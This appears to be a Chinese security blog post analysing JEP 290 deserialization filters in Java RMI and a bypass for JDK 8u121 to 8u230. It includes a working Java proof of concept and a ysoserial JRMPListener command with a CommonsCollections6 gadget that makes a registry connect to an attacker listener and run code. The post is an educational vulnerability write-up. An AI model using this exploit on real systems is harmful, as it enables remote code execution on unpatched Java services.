RMI 中 JEP 290 的绕过 Bypass 8u121~8u230

通过 JVM 参数或者配置文件进行配置

对于 RegistryImpl

RegistryImpl 中含有一个静态字段 registryFilter ,所以在 new RegistryImpl对象的时候,会调用 initRegistryFilter 方法进行赋值:

image-20230417093722059

initRegistryFilter方法会先读取 JVM 的 sun.rmi.registry.registryFilter 的属性,或者是读取 %JAVA_HOME%\conf\security\java.security 配置文件中的 sun.rmi.registry.registryFilter 字段来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter2 创建 filter并且返回。

image-20230417093757890

白名单就是这个目录

image-20230417095100180

有些是%JAVA_HOME\conf\security\java.security%

image-20230417095402607

#sun.rmi.registry.registryFilter=\
#    maxarray=1000000;\
#    maxdepth=20;\
#    java.lang.String;\
#    java.lang.Number;\
#    java.lang.reflect.Proxy;\
#    java.rmi.Remote;\
#    sun.rmi.server.UnicastRef;\
#    sun.rmi.server.RMIClientSocketFactory;\
#    sun.rmi.server.RMIServerSocketFactory;\
#    java.rmi.activation.ActivationID;\
#    java.rmi.server.UID

RegistryImpl#registryFilter函数会先判断 RegistryImpl#regstiryFilter 字段是否为 null 来决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话,会先调用用户自定义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED 就直接返回检查的结果,否则再使用默认的白名单检查。

image-20230417095923261

对于 DGCImpl

DGCImpl 中含有一个静态字段 dgcFilter ,所以在 new DGCImpl对象的时候,会调用 initDgcFilter 方法进行赋值

image-20230417100248137

initDgcFilter方法会先读取 JVM 的 sun.rmi.transport.dgcFilter 的属性,或者是读取 %JAVA_HOME\conf\security\java.security% 配置文件中的 sun.rmi.transport.dgcFilter 字段来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter 创建 filter并且返回。

image-20230417100356874

#sun.rmi.transport.dgcFilter=\
#    java.rmi.server.ObjID;\
#    java.rmi.server.UID;\
#    java.rmi.dgc.VMID;\
#    java.rmi.dgc.Lease;\
#    maxdepth=5;maxarray=10000

类似的,如果这里的dcgFilter不为空的话,优先调用它去对输入进行过滤。具体来说,会先判断 DGCImpl#dgcFilter 字段是否为 null 来决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话,会先调用用户自定义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED 就直接返回检查的结果,否则再使用默认的白名单检查。

image-20230417100918637

仔细看的话,似乎是个递归

白名单总结

RegistryImpl#registryFilter中的白名单内容有:

  • String
  • Number
  • Remote
  • Proxy
  • UnicastRef
  • RMIClientSocketFactory
  • RMIServerSocketFactory
  • ActivationID
  • UID

DGCImpl#checkInput中的白名单内容有:

  • ObjID
  • UID
  • VMID
  • Lease

只要反序列化的类不是白名单中的类, 便会返回REJECTED操作符, 表示序列化流中有不合法的内容, 直接抛出异常.

RMI 中 JEP 290 的绕过

Bypass 8u121~8u230

UnicastRef 类

首先研究jdk8u121

image-20230417103855423

跟进LocateRegistry#getRegistry方法, 先用TCPEndpoint封装Registryhostport等信息, 然后用UnicastRef封装了liveRef, 最终获取到一个在其中封装了一个UnicastRef对象的RegistryImpl_Stub对象

image-20230417103911658

lookup下断点,看看Client中的stub对象是如何连接Registry的,跟进后不难看出, 其连接过程是先通过UnicastRefnewCall方法发起连接, 然后把要绑定的对象发送到Registry

image-20230417104129973

因此, 如果我们可以控制UnicastRef#LiveRef所封装的hostport等信息, 便可以发起一个任意的JRMP连接请求, 这个trick点和ysoserial中的payloads.JRMPClient是相同的原理.

RemoteObject 类

前面我们调试lookup的时候,会看到下面的调用尝试

image-20230417105453655

不过我好像调不进去,事后我直接remoteObject#readObject下断点了

看到调用栈还是很恐怖的

image-20230417105725741

还好没去认真调

它的readObject最后返回ref, ref.readExternal(in)中的ref正好是一个UnicastRef对象,是白名单里面的

image-20230417105800541

继续跟进

image-20230417105852988

跟进LiveRef#read方法, 在该方法中先会调用TCPEndpoint#readHostPortFormat方法读出序列化流中的hostport相关信息, 然后将其重新封装成一个LiveRef对象, 并将其存储到当前的ConnectionInputStream上.

image-20230417105929136

saveRef其实是做一个映射,其建立了一个TCPEndpointArrayList<LiveRef>的映射关系.

image-20230417110026097

回到前面的RemoteObject#readObject方法, 这里的readObject是在RegistryImpl_Skle#dispatch中的readObject方法触发来的.

。。。。。。。。。。。。

实操

在上文对UnicastRefRemoteObject两个类的分析中可以发现:

  • RemoteObject类及其子类对象可以被bind或者lookupRegistry, 且在白名单之中.
  • RemoteObject类及其没有实现readObject方法的子类经过反序列化可以通过内部的UnicastRef对象发起JRMP请求连接恶意的Server.

至此, ByPass JEP-290的思路就非常明确了:

  1. ysoserial开启一个恶意的JRMPListener.
  2. 控制RemoteObject中的UnicastRef对象(封装了恶意Serverhostport等信息).
  3. Client或者ServerRegistry发送这个RemoteObject对象, Registry触发readObject方法之后会向恶意的JRMP Server发起连接请求.
  4. 连接成功后成功触发JRMPListener.

Registry触发反序列化利用链如下:

客户端发送数据 ->...
UnicastServerRef#dispatch –>
UnicastServerRef#oldDispatch –>
RegistryImpl_Skle#dispatch –> RemoteObject#readObject
StreamRemoteCall#releaseInputStream –>
ConnectionInputStream#registerRefs –>
DGCClient#registerRefs –>
DGCClient$EndpointEntry#registerRefs –>
DGCClient$EndpointEntry#makeDirtyCall –>
DGCImpl_Stub#dirty –>
UnicastRef#invoke –> (RemoteCall var1)
StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> "demo"

ByPass JEP-290的关键在于: 通过反序列化将Registry变为JRMP客户端, 向JRMPListener发起JRMP请求,这里还需要注意的一点就是需要找到一个类实现类RemoteObject方法

image-20230417111314360

POC

RMIRegistry

package Bypass1;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMIRegistry {

    public static void main(String[] args) throws RemoteException {

        LocateRegistry.createRegistry(2222);
        System.out.println("RMI Registry Start...");

        while (true);
    }
}

RMIClient

package Bypass1;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class RMIClient {

    public static void main(String[] args) throws RemoteException, AlreadyBoundException {

        Registry registry = LocateRegistry.getRegistry(2222);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 9999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        registry.bind("demo", obj);
    }
}
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"

image-20230417112721702

image-20230417112620654

修复

JDK8u231版本及以上的DGCImpl_Stub#dirty方法中多了一个setObjectInputFilter的过程, 导致JEP 290重新可以check到.

img

评论

  1. rantrism
    1 年前
    2023-4-17 16:43:11

    您好~我是腾讯云开发者社区运营,关注了您分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体分享计划。完整福利和申请地址请见:https://cloud.tencent.com/developer/support-plan
    作者申请此计划后将作者的文章进行搬迁同步到社区的专栏下,你只需要简单填写一下表单申请即可,我们会给作者提供包括流量、云服务器等,另外还有些周边礼物。

    • 博主
      rantrism
      1 年前
      2023-5-11 15:48:45

      谢邀

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇